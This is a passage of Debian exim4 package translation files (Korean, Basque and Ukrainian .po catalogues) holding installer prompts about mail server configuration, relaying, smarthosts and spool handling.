"" #~ "Move the mails only if you don't plan to go back to exim(v3), otherwise " #~ "the mail shouldn't be moved now but manually once you've converted your " #~ "setup." #~ msgstr "" #~ "다시는 exim(버전3)으로 돌아올 계획이 없는 경우에만 메일을 옮기십시오. 아" #~ "니면 지금 메일을 옮기지 말고 수동으로 설정을 변환했을 때 옮기십시오." #, fuzzy #~ msgid "" #~ "If there are any more, enter them here, separated by semicolons. You may " #~ "leave this blank if there are none." #~ msgstr "" #~ "도메인이 더 있다면 여기 입력하십시오. 각 도메인은 콜론으로 구분합니다. 더 " #~ "없으면 비워 두시면 됩니다." #, fuzzy #~ msgid "" #~ "Please enter here the domains for which this system will relay mail, for " #~ "example as a fallback MX or mail gateway." #~ msgstr "릴레이 메일을 받아들일 목적지 도메인을 입력하십시오." #~ msgid "" #~ "Such domains are domains for which you are prepared to accept mail from " #~ "anywhere on the Internet. Do not mention local domains here." #~ msgstr "" #~ "이 도메인은 인터넷의 어디에서든 이 도메인으로 가는 메일을 받아들이는 도메" #~ "인입니다. 로컬 도메인은 여기 쓰지 마십시오." #, fuzzy #~ msgid "" #~ "The domains entered here should be separated by semicolons. Wildcards may " #~ "be used." #~ msgstr "" #~ "여기 입력하는 도메인은 콜론으로 구분합니다. 와일드카드도 사용할 수 있습니" #~ "다." #~ msgid "" #~ "Since you enabled hiding the local mailname in outgoing mail, you must " #~ "specify the domain name to use for mail from local users; typically this " #~ "is the machine on which you normally receive your mail." #~ msgstr "" #~ "나가는 메일에서 로컬 메일 이름을 감추기로 하셨기 때문에, 로컬 사용자가 사" #~ "용할 도메인 이름을 지정해야 합니다; 대부분 메일을 받을 때 쓰는 컴퓨터로 지" #~ "정합니다." #~ msgid "Where will your users read their mail?" #~ msgstr "사용자는 어디서 메일을 읽습니까?" #~ msgid "Machine handling outgoing mail for this host (smarthost):" #~ msgstr "이 호스트에서 나가는 메일을 처리할 컴퓨터 (스마트호스트):" #~ msgid "Enter the hostname of the machine to which outgoing mail is sent." #~ msgstr "나가는 메일을 보낼 컴퓨터의 호스트이름을 입력하십시오" #~ msgid "" #~ "Enable this feature if you are using Dial-on-Demand; otherwise, disable " #~ "it." #~ msgstr "" #~ "필요할 때만 전화접속을 하는 경우에 이 기능을 사용하십시오; 그렇지 않은 경" #~ "우 사용하지 마십시오." #, fuzzy #~ msgid "Select the mail server configuration type that best fits your needs." #~ msgstr "다음 중에서 필요에 따라 가장 적합한 설정을 고르십시오." #~ msgid "If you are unsure then you should not use split configuration." #~ msgstr "잘 모르겠으면 설정을 쪼개지 말아야 합니다." #~ msgid "manually convert from handcrafted Exim v3 configuration" #~ msgstr "직접 만든 exim 버전3 설정을 수동으로 바꾸기" #~ msgid "Configure Exim4 manually?" #~ msgstr "exim4를 수동으로 설정하시겠습니까?" #~ msgid "" #~ "You indicated that you have a handcrafted Exim 3 configuration. To " #~ "convert this to Exim 4, you can use the exim_convert4r4(8) tool after the " #~ "installation. Consult /usr/share/doc/exim4-base/examples/example.conf.gz " #~ "and /usr/share/doc/exim4-base/README.Debian.gz!" #~ msgstr "" #~ "직접 만든 exim 3 설정이 있다고 하셨습니다. 이 설정 파일을 exim 4로 변환하" #~ "려면, 설치한 후에 exim_convert4r4(8) 툴을 쓸 수 있습니다. /usr/share/doc/" #~ "exim4-base/examples/example.conf.gz 및 /usr/share/doc/exim4-base/README." #~ "Debian.gz 파일을 참고하십시오!" #~ msgid "" #~ "Until your mail system is configured, it will be broken and cannot be " #~ "used." #~ msgstr "" #~ "메일 시스템을 설정하기 전까지는, 제대로 동작하지 않고 사용할 수 없습니다." #~ msgid "" #~ "Your \"mail name\" is the hostname portion of the address to be shown on " #~ "outgoing news and mail messages (following the username and @ sign) " #~ "unless hidden with rewriting." #~ msgstr "" #~ "\"메일 이름\"은 (다시 쓰기 규칙에 의해 가려지지 않는다면) 나가는 뉴스 및 " #~ "메일에 쓰여지는 주소에서 호스트 이름 부분을 말합니다 (사용자 이름 뒤의 @ " #~ "다음에 나오는 부분)." #~ msgid "" #~ "Please enter here the networks of local machines for which you accept to " #~ "relay the mail." #~ msgstr "" #~ "릴레이 메일을 받아들일 목적지 로컬 컴퓨터의 네트워크를 여기 입력하십시오." #~ msgid "" #~ "This should include a list of all machines that will use us as a " #~ "smarthost." #~ msgstr "스마트호스트로 사용할 모든 컴퓨터의 목록이 들어 있어야 합니다." #~ msgid "" #~ "You need to double the colons in IPv6 addresses (e.g. " #~ "5f03::1200::836f::::/48)" #~ msgstr "" #~ "IPv6 주소에서는 콜론을 두 개씩 써야 합니다 (예를 들어 " #~ "5f03::1200::836f::::/48)" #~ msgid "" #~ "Enter a colon-separated list of IP-addresses to listen on. You need to " #~ "double the colons in IPv6 addresses (e.g. 5f03::1200::836f::::)." #~ msgstr "" #~ "연결을 받아들일 IP 주소 목록을 콜론으로 구분해 입력하십시오. IPv6 주소 안" #~ "에 들어 있는 콜론은 콜론 2개를 써야 합니다 (예를 들어 " #~ "5f03::1200::836f::::)." #~ msgid "Configuring Exim v4 (exim4-config)" #~ msgstr "exim 버전4 설정 (exim4-config)" debian/po/eu.po0000644000000000000000000006064612204067555010577 0ustar # translation of exim4-eu.po to Euskara # # Translators, if you are not familiar with the PO format, gettext # documentation is worth reading, especially sections dedicated to # this format, e.g. by running: # info -n '(gettext)PO Files' # info -n '(gettext)Header Entry' # Some information specific to po-debconf are available at # /usr/share/doc/po-debconf/README-trans # or http://www.debian.org/intl/l10n/po-debconf/README-trans# # Developers do not need to manually edit POT or PO files. # # Piarres Beobide Egana , 2004, 2006, 2007. msgid "" msgstr "" "Project-Id-Version: exim4-eu\n" "Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n" "POT-Creation-Date: 2007-07-18 08:29+0200\n" "PO-Revision-Date: 2007-06-19 09:45+0200\n" "Last-Translator: Piarres Beobide \n" "Language-Team: Euskara \n" "Language: \n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "X-Generator: Pootle 0.11\n" "Plural-Forms: nplurals=2; plural=(n != 1);\n" #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "Remove undelivered messages in spool directory?" msgstr "Ezabatu bidaligabeko hilara direktorioko ePostak?" #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "" "There are e-mail messages in the Exim spool directory /var/spool/exim4/" "input/ which have not yet been delivered. Removing Exim will cause them to " "remain undelivered until Exim is re-installed." msgstr "" "Oraindik bidali ez diren ePostak daude /var/spool/exim4/input exim hilara " "direktorioan. Exim ezabatzeak hauek exim berriz instalatu arte bidali gabe " "geratzea eragingo du." #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "" "If this option is not chosen, the spool directory is kept, allowing the " "messages in the queue to be delivered at a later date after Exim is re-" "installed." msgstr "" "Aukera hau ez hautatu ezkero, ilara direktorioa mantendu egingo da, mezu " "ilara beranduago exim instalatzen denean bidaltzeko aukera emanez." #. Type: error #. Description #: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 #: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 msgid "Reconfigure exim4-config instead of this package" msgstr "Exim4-config birkonfiguratu pakete honen beharrean" #. Type: error #. Description #: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 #: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 msgid "" "Exim4 has its configuration factored out into a dedicated package, exim4-" "config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'." msgstr "" "Exim4-ek bere konfigurazio beste pakete batetan du, exim4-config. Exim4 " "birkonfiguratu nahi izan ezkero \"dpkg-reconfigure exim4-config\" erabili." #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "internet site; mail is sent and received directly using SMTP" msgstr "Internet gunea; eposta SMTP erabiliaz jaso eta bidaltzen da" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "mail sent by smarthost; received via SMTP or fetchmail" msgstr "ePosta smarthost-ak bidalia; SMTP edo fetchmail bidez jasoa" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "mail sent by smarthost; no local mail" msgstr "ePosta smarthost-ak bidalia; ez dago posta lokalik" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "local delivery only; not on a network" msgstr "bidalketa lokala bakarrik; ez dago sarean" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "no configuration at this time" msgstr "une honetan ez konfiguratu" #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "General type of mail configuration:" msgstr "Eposta konfiguraketa modu orokorra:" #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "Please select the mail server configuration type that best meets your needs." msgstr "" "Aukeratu zuk behar duzunerako eposta zerbitzari konfigurazio mota egokiena." #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "Systems with dynamic IP addresses, including dialup systems, should " "generally be configured to send outgoing mail to another machine, called a " "'smarthost' for delivery because many receiving systems on the Internet " "block incoming mail from dynamic IP addresses as spam protection." msgstr "" "IP aldakor batetako sistemak, markatze telefoniko bidezkoak barne, normalean " "kanporako posta \"smarthost\" izeneko beste makina batetara bidaltzeko " "konfiguratzen dira internet-eko zenbait jasotze sistemek ip aldakorreko " "posta ukatzen bait dute spam babespen modura." #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "A system with a dynamic IP address can receive its own mail, or local " "delivery can be disabled entirely (except mail for root and postmaster)." msgstr "" "IP aldakor bat duen sistemak bere eposta jaso dezake edo bidalketa lokala " "guztiz ezagaitu (root eta postmaster kontuena ezik)." #. Type: boolean #. Description #: ../exim4-config.templates:2001 msgid "Really leave the mail system unconfigured?" msgstr "Benetan ePosta sistema konfiguratu gabe utzi?" #. Type: boolean #. Description #: ../exim4-config.templates:2001 msgid "" "Until the mail system is configured, it will be broken and cannot be used. " "Configuration at a later time can be done either by hand or by running 'dpkg-" "reconfigure exim4-config' as root." msgstr "" "Posta sistema konfiguratu arte, apurturik egongo da eta ezingo da erabili. " "Beranduago eskuz edo root bezala 'dpkg-reconfigure exim4-config' eginez " "konfigurazioa sortu dezakezu." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "System mail name:" msgstr "Sistema eposta izena:" #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "The 'mail name' is the domain name used to 'qualify' mail addresses without " "a domain name." msgstr "" "'ePosta izena' domeinu izena ez duen posta helbideari 'onargarri' egiteko " "gehituko den domeinu izena da." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "This name will also be used by other programs. It should be the single, " "fully qualified domain name (FQDN)." msgstr "" "Izen hau beste programa batzuek ere erabil dezakete. Berau `guztiz " "kualifikaturiko domeinu izen osoa (FQDN) izan behar da." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "Thus, if a mail address on the local host is foo@example.org, the correct " "value for this option would be example.org." msgstr "" "Adibidez, ostalari lokaleko eposta helbidea foo@adibide.org bada, aukera " "honetako balio zuzena adibide.org da." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "This name won't appear on From: lines of outgoing messages if rewriting is " "enabled." msgstr "" "Izen hau ez da kanporako mezuetako Nondik: eremuan agertuko berridazketa " "gaiturik badago." #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "Other destinations for which mail is accepted:" msgstr "eposta beste helburu hauek onartzen dira:" #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "" "Please enter a semicolon-separated list of recipient domains for which this " "machine should consider itself the final destination. These domains are " "commonly called 'local domains'. The local hostname (${fqdn}) and " "'localhost' are always added to the list given here." msgstr "" "Idatzi puntu eta komaz bereiziriko zerrenda batetan zerbitzari honek lokal " "bezala onartu behar dituen jasotzeko domeinu zerrenda. Domeinu hauek " "arruntean \"domeinu lokalak\" bezala ezagutzen dira. Ostalari lokal izenaz " "(${fqdn}) eta \"localhost\"-ez beti gehitzen dira zerrenda honetara. " #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "" "By default all local domains will be treated identically. If both a.example " "and b.example are local domains, acc@a.example and acc@b.example will be " "delivered to the same final destination. If different domain names should be " "treated differently, it is necessary to edit the config files afterwards." msgstr "" "Lehenespen bezala domeinu guztiak modu berdinean kudeatuko dira. Bai a." "adibide eta bai b.adibide domeinu lokalak badira, acc@a.adibide eta acc@b." "adibide helmuga berdinetara birbidaliko dira. Domeinu izenak modu " "ezberdinean kudeatu behar bada,beharrezko izango da konfigurazio honen " "ondoren aldatzea." #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "Domains to relay mail for:" msgstr "Eposta birbidaliko zaien domeinuak:" #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "" "Please enter a semicolon-separated list of recipient domains for which this " "system will relay mail, for example as a fallback MX or mail gateway. This " "means that this system will accept mail for these domains from anywhere on " "the Internet and deliver them according to local delivery rules." msgstr "" "Mesedez sartu puntu eta komaz bereizirik sistema honek birbidali behar " "dituen domeinu zerrenda, adibidez basbekopiako MX edo posta sare-bidea. " "Honek domeinu hauetara internetetik bidaliko mezuak onartu eta bidalketa " "lokal arazuekin kudeatzea eragingo du." #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "Do not mention local domains here. Wildcards may be used." msgstr "Ez izendatu domeinu lokalak hemen. Komodinak erabili behar dira." #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "Machines to relay mail for:" msgstr "Eposta birbidaliko zaien makinak:" #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "Please enter a semicolon-separated list of IP address ranges for which this " "system will unconditionally relay mail, functioning as a smarthost." msgstr "" "Idatzi makina honek posta birbidali behar duen (smarthost modura " "funtzionatuz) puntu eta komaz bereiziriko ip helbide eremu zerrenda." #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "You should use the standard address/prefix format (e.g. 194.222.242.0/24 or " "5f03:1200:836f::/48)." msgstr "" "helbide/aurrizki formatu erabili behar duzu (adib 194.222.242.0/24 edo " "5f03:1200:836f::/48)." #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "If this system should not be a smarthost for any other host, leave this list " "blank." msgstr "" "Sistema ha ez bada beste inorentzat \"smarthost\" bezala erabiltzen hutsi " "ezazu hau." #. Type: string #. Description #: ../exim4-config.templates:7001 msgid "Visible domain name for local users:" msgstr "Erabiltzaile lokalentzat bistaraziko den domeinu izena:" #. Type: string #. Description #: ../exim4-config.templates:7001 msgid "" "The option to hide the local mail name in outgoing mail was enabled. It is " "therefore necessary to specify the domain name this system should use for " "the domain part of local users' sender addresses." msgstr "" "Kanporako mezuetan posta izen lokala ezkutatzeko aukera gaitua zegoen. Honek " "beranduago makina honek erabiltzaile lokalen bidaltzaile eremuan erabili " "behar den domeinu izen zatia ezartze beharrezko egiten du" #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "IP address or host name of the outgoing smarthost:" msgstr "Irteera smarthost-eko IP helbide edo ostalari izena:" #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "" "Please enter the IP address or the host name of a mail server that this " "system should use as outgoing smarthost. If the smarthost only accepts your " "mail on a port different from TCP/25, append two colons and the port number " "(for example smarthost.example::587 or 192.168.254.254::2525). Colons in " "IPv6 addresses need to be doubled." msgstr "" "Idatzi sistema honek kanporako smarthost moduan erabiliko den posta " "zerbitzariaren IP helbide edo ostalari izena. Smarthost-ak konexioak " "bakarrik lehenetsiriko TCP/25 ataka ez den beste batetan onartzen baditu " "gehitu bi puntu bikoitza eta ataka zenbakia (Adibidez ::587 edo " "192.168.254.254::2525). Bi puntuak IPv6 helbideetan bikoitzu egin behar dira," #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "" "If the smarthost requires authentication, please refer to the Debian-" "specific README files in /usr/share/doc/exim4-base for notes about setting " "up SMTP authentication." msgstr "" "Smarthost-ak autentifikazioa behar ezkero, mesedez begiratu /usr/share/doc/" "exim4-base/README.Debian.html SMTP autentifikazioa ezartzeko moduaz gehiago " "jakiteko." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "Root and postmaster mail recipient:" msgstr "Root eta postmaster eposta jasoko duena:" #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "Mail for the 'postmaster', 'root', and other system accounts needs to be " "redirected to the user account of the actual system administrator." msgstr "" "\"postmaster\", \"root\", eta beste zenbait kontu lokalen eposta sistema " "kudeatzailearen erabiltzaile kontura bidali behar da." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "If this value is left empty, such mail will be saved in /var/mail/mail, " "which is not recommended." msgstr "" "Balio hau hutsik utziaz gero, berau gomendatzen ez den /var/mail/mail " "karpetan gordeko da:" #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "Note that postmaster's mail should be read on the system to which it is " "directed, rather than being forwarded elsewhere, so (at least one of) the " "users listed here should not redirect their mail off this machine. A 'real-' " "prefix can be used to force local delivery." msgstr "" "Kontutan izan postmaster kontuaren eposta zuzendua dagoen sisteman irakurri " "beharko zela, inora berbideratu beharrean, beraz (behintzat hauetako bat) " "hemen zerrendaturiko erabiltzaileetako posta ez zen makina honetatik kanpora " "bidali beharko. \"real-\" aurrizkia erabili daiteke bidalketa lokala " "behartzeko" #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "Multiple user names need to be separated by spaces." msgstr "Erabiltzaile izenak hutsunez bereizi behar dira." #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "IP-addresses to listen on for incoming SMTP connections:" msgstr "SMTP konexioak entzungo dituen IP helbideak:" #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "Please enter a semicolon-separated list of IP addresses. The Exim SMTP " "listener daemon will listen on all IP addresses listed here." msgstr "" "Mesedez sartu puntu eta komaz bereiziriko IP helbide zerrenda. Exim SMTP " "deabruak IP helbide hauetan entzungo ditu konexioak." #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "An empty value will cause Exim to listen for connections on all available " "network interfaces." msgstr "" "Hutsik utzi ezkero Exim-ek erabilgarri dauden sare interfaze guztietan " "entzungo ditu konexioak." #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "If this system only receives mail directly from local services (and not from " "other hosts), it is suggested to prohibit external connections to the local " "Exim daemon. Such services include e-mail programs (MUAs) which talk to " "localhost only as well as fetchmail. External connections are impossible " "when 127.0.0.1 is entered here, as this will disable listening on public " "network interfaces." msgstr "" "Sistema honek mezuak sistema lokaletik bakarrik jasotzen baditu, fetchmail " "edo zure eposta programak (MUA) localhost-ekin harremanetan (eta ez beste " "inondik) bezalakoak, gomendagarria da exim lokalarekiko kanpo konexioak " "debekatzea. Hau hemen 127.0.0.1 ezarriz lortzen da. Honek interfaze " "publikoetan konexioak entzuteko gaitasuna ezgaituko du." #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?" msgstr "Mantendu DNS galdeketak gutxienean (Eskaripeko deia)?" #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "In normal mode of operation Exim does DNS lookups at startup, and when " "receiving or delivering messages. This is for logging purposes and allows " "keeping down the number of hard-coded values in the configuration." msgstr "" "Funtzionamentu modu arruntean DNS bilaketa bat egiten du abiaraztean, eta " "mezuak jaso edo banatzerakoan. Hau erregistrorako bakarrik egiten da eta " "konfigruazioan kode balioak murrizteko balio du." #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "If this system does not have a DNS full service resolver available at all " "times (for example if its Internet access is a dial-up line using dial-on-" "demand), this might have unwanted consequences. For example, starting up " "Exim or running the queue (even with no messages waiting) might trigger a " "costly dial-up-event." msgstr "" "Sistema honek ez badu denbora guztian DNS ebazpen zerbitzua (Adibidez " "internetera telefono bitartez eskaripeko deia erabiliaz) honek esperogabeko " "eraginak izan ditzake. Adibidez Exim abiarazi edo hilara kudeatu ezkero " "(nahiz ez mezurik eogn bertan) dei bat egitea eragin dezake." #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "This option should be selected if this system is using Dial-on-Demand. If it " "has always-on Internet access, this option should be disabled." msgstr "" "Aukera hau hautatu behar da sistema honek eskuzko markatzea erabiltzen badu. " "Beti internetera konektaturik badago aukera hau ezgaitu beharko zenuke." #. Type: title #. Description #: ../exim4-config.templates:12001 msgid "Mail Server configuration" msgstr "Eposta Zerbitzari konfigurazioa" #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "Split configuration into small files?" msgstr "Zatitu konfigurazioa fitxategi txikiagoetan?" #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "The Debian exim4 packages can either use 'unsplit configuration', a single " "monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', " "where the actual Exim configuration files are built from about 50 smaller " "files in /etc/exim4/conf.d/." msgstr "" "Debian exim4 paketeak \"banatu gabeko konfigurazioa\", fitxategi monolitiko " "bat (/etc/exim4/exim4.conf.template) edo \"banatutako konfigurazioa\", non " "konfigurazioa /etc/exim4/conf.d/-en 50 fitxategi txikiagotan banatuta " "dagoena erabil ditzake." #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "Unsplit configuration is better suited for large modifications and is " "generally more stable, whereas split configuration offers a comfortable way " "to make smaller modifications but is more fragile and might break if " "modified carelessly." msgstr "" "Banatu gabeko konfigurazio hobea da aldaketa handientzat eta normalean " "egonkorragoa da, beste aldetik banatutako konfigurazioa aldaketa txikiak " "egiteko modu egoki eta errazago bat ematen du baina hauskorragoa da eta " "hondatu daiteke kontu handiaz eraldatu ez ezkero." #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "A more detailed discussion of split and unsplit configuration can be found " "in the Debian-specific README files in /usr/share/doc/exim4-base." msgstr "" "Konfigruazio zatitu eta batzeari buruzko argibide gehiago jasotzeko " "begiratu /usr/share/doc/exim4-base/README.Debian.gz fitxategia." #. Type: boolean #. Description #: ../exim4-config.templates:14001 msgid "Hide local mail name in outgoing mail?" msgstr "ePosta lokal izena ezkutatu kanpora bidaltzerakoan?" #. Type: boolean #. Description #: ../exim4-config.templates:14001 msgid "" "The headers of outgoing mail can be rewritten to make it appear to have been " "generated on a different system. If this option is chosen, '${mailname}', " "'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-" "Path are rewritten." msgstr "" "Bidaltzen diren mezuen buruak alda daitezke beste sistema batetan sortuak " "izan direla itxura emateko. Aukera hau hautatu ezkero, \"${mailname}\", " "\"localhost\" eta \"${dc_other_hostnames}\" Nondik, Erantzun-hona, " "Bidaltzailea eta Erantzun-bidea eremuetan berridatzi egingo dira." #. Type: select #. Choices #: ../exim4-config.templates:15001 msgid "mbox format in /var/mail/" msgstr "mbox formatua /var/mail/-en" #. Type: select #. Choices #: ../exim4-config.templates:15001 msgid "Maildir format in home directory" msgstr "Maildir formatua etxe direktorioan" #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "Delivery method for local mail:" msgstr "Posta lokalaren banaketa metodoa:" #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "" "Exim is able to store locally delivered email in different formats. The most " "commonly used ones are mbox and Maildir. mbox uses a single file for the " "complete mail folder stored in /var/mail/. With Maildir format every single " "message is stored in a separate file in ~/Maildir/." msgstr "" "Exim jasotako posta formatu ezberdinetangordetzeko gai da. Formatu " "erabilienak mbox eta Maildir dira. mbox-ek /var/mail/-en fitxategi arrunt " "bat erabiltzen du posta guztia gordetzeko. Maildir formatuak mezu bakoitza ~/" "Maildir/ direktorioko fitxategi batetan gordetzen du." #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "" "Please note that most mail tools in Debian expect the local delivery method " "to be mbox in their default." msgstr "" "Kontutan izan Debian lanabes gehienek lehenetsiriko bidalketa modu bezala " "mbox ezarria izango dutela." #~ msgid "Move undelivered mails from exim 3 to exim4 spool?" #~ msgstr "Bidaligabeko ePostak exim3 hilaratik exim4 hilarara mugitu?" #~ msgid "" #~ "There are some undelivered mails in exim 3 (or exim-tls 3) spool " #~ "directory /var/spool/exim/input/." #~ msgstr "" #~ "Bidaligabeko zenbait posta daude /var/spool/exim/input/ exim3 (edo xim-" #~ "tls3) hilara direktorioan." #~ msgid "" #~ "Choosing this option will move these messages to exim4's spool (/var/" #~ "spool/exim4/input/) where they will be handled by exim4." #~ msgstr "" #~ "Aukera hau hautatuaz mezu horiek exim4 hilarara mugituko dira (/var/" #~ "spool/exim4/input/) eta exim4 bidez kudeatuko dira." #~ msgid "" #~ "This works only one-way: Exim4 can handle exim 3 spool but not vice-" #~ "versa. If you reject this option, you need to move the messages yourself " #~ "or they will never be delivered." #~ msgstr "" #~ "Honek alde batetara bakarrik funtzionatzen du. Exim4-ek exim 3 ilara " #~ "kudea dezake baina ez alderantziz. Aukera hau ezetsiaz gero mezuak " #~ "beranduago eskuz mugitu beharko dituzu, bestela ez dira inoiz banatuko " #~ "eta." debian/po/uk.po0000644000000000000000000007706012027557533010606 0ustar # translation of exim-uk.po to Українська мова # # Translators, if you are not familiar with the PO format, gettext # documentation is worth reading, especially sections dedicated to # this format, e.g. by running: # info -n '(gettext)PO Files' # info -n '(gettext)Header Entry' # Some information specific to po-debconf are available at # /usr/share/doc/po-debconf/README-trans # or http://www.debian.org/intl/l10n/po-debconf/README-trans# # Developers do not need to manually edit POT or PO files. # # Eugeniy Meshcheryakov , 2004, 2006. # Borys Yanovych , 2006, 2007. msgid "" msgstr "" "Project-Id-Version: exim-uk\n" "Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n" "POT-Creation-Date: 2007-07-18 08:29+0200\n" "PO-Revision-Date: 2007-06-06 13:52+0300\n" "Last-Translator: Borys Yanovych \n" "Language-Team: Українська мова\n" "Language: \n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "X-Generator: KBabel 1.11.4\n" "Plural-Forms: nplurals=3; plural=(n%10==1 && n%100!=11 ? 0 : n%10>=2 && n" "%10<=4 && (n%100<10 || n%100>=20) ? 1 : 2);\n" #. Type: boolean #. Description #: ../exim4-base.templates:1001 #, fuzzy msgid "Remove undelivered messages in spool directory?" msgstr "Видалити недоставлену пошту із поштової черги?" #. Type: boolean #. Description #: ../exim4-base.templates:1001 #, fuzzy msgid "" "There are e-mail messages in the Exim spool directory /var/spool/exim4/" "input/ which have not yet been delivered. Removing Exim will cause them to " "remain undelivered until Exim is re-installed." msgstr "" "В теці поштової черги exim /var/spool/exim4/input є повідомлення, які ще не " "були доставлені. Після видалення Exim, вони залишатимуться недоставленими " "доки Exim не буде перевстановлено." #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "" "If this option is not chosen, the spool directory is kept, allowing the " "messages in the queue to be delivered at a later date after Exim is re-" "installed." msgstr "" "Якщо цю опцію не вибрано, тека черги залишиться, зберігаючи можливість " "доставки повідомлень, котрі знаходяться в черзі, пізніше, після " "перевстановлення Exim." #. Type: error #. Description #: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 #: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 msgid "Reconfigure exim4-config instead of this package" msgstr "Переналаштовуйте exim4-config, а не цей пакунок" #. Type: error #. Description #: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 #: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 msgid "" "Exim4 has its configuration factored out into a dedicated package, exim4-" "config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'." msgstr "" "Все що пов'язано з налаштуванням Exim4 винесено в окремий пакунок - exim4-" "config. Використовуйте dpkg-reconfigure exim4-config, якщо бажаєте " "переналаштувати Exim4." #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "internet site; mail is sent and received directly using SMTP" msgstr "" "вузол Internet; пошта відправляється та приймається напряму (за допомогою " "SMTP)" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "mail sent by smarthost; received via SMTP or fetchmail" msgstr "відправлення через смартхост; отримання через SMTP або fetchmail" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "mail sent by 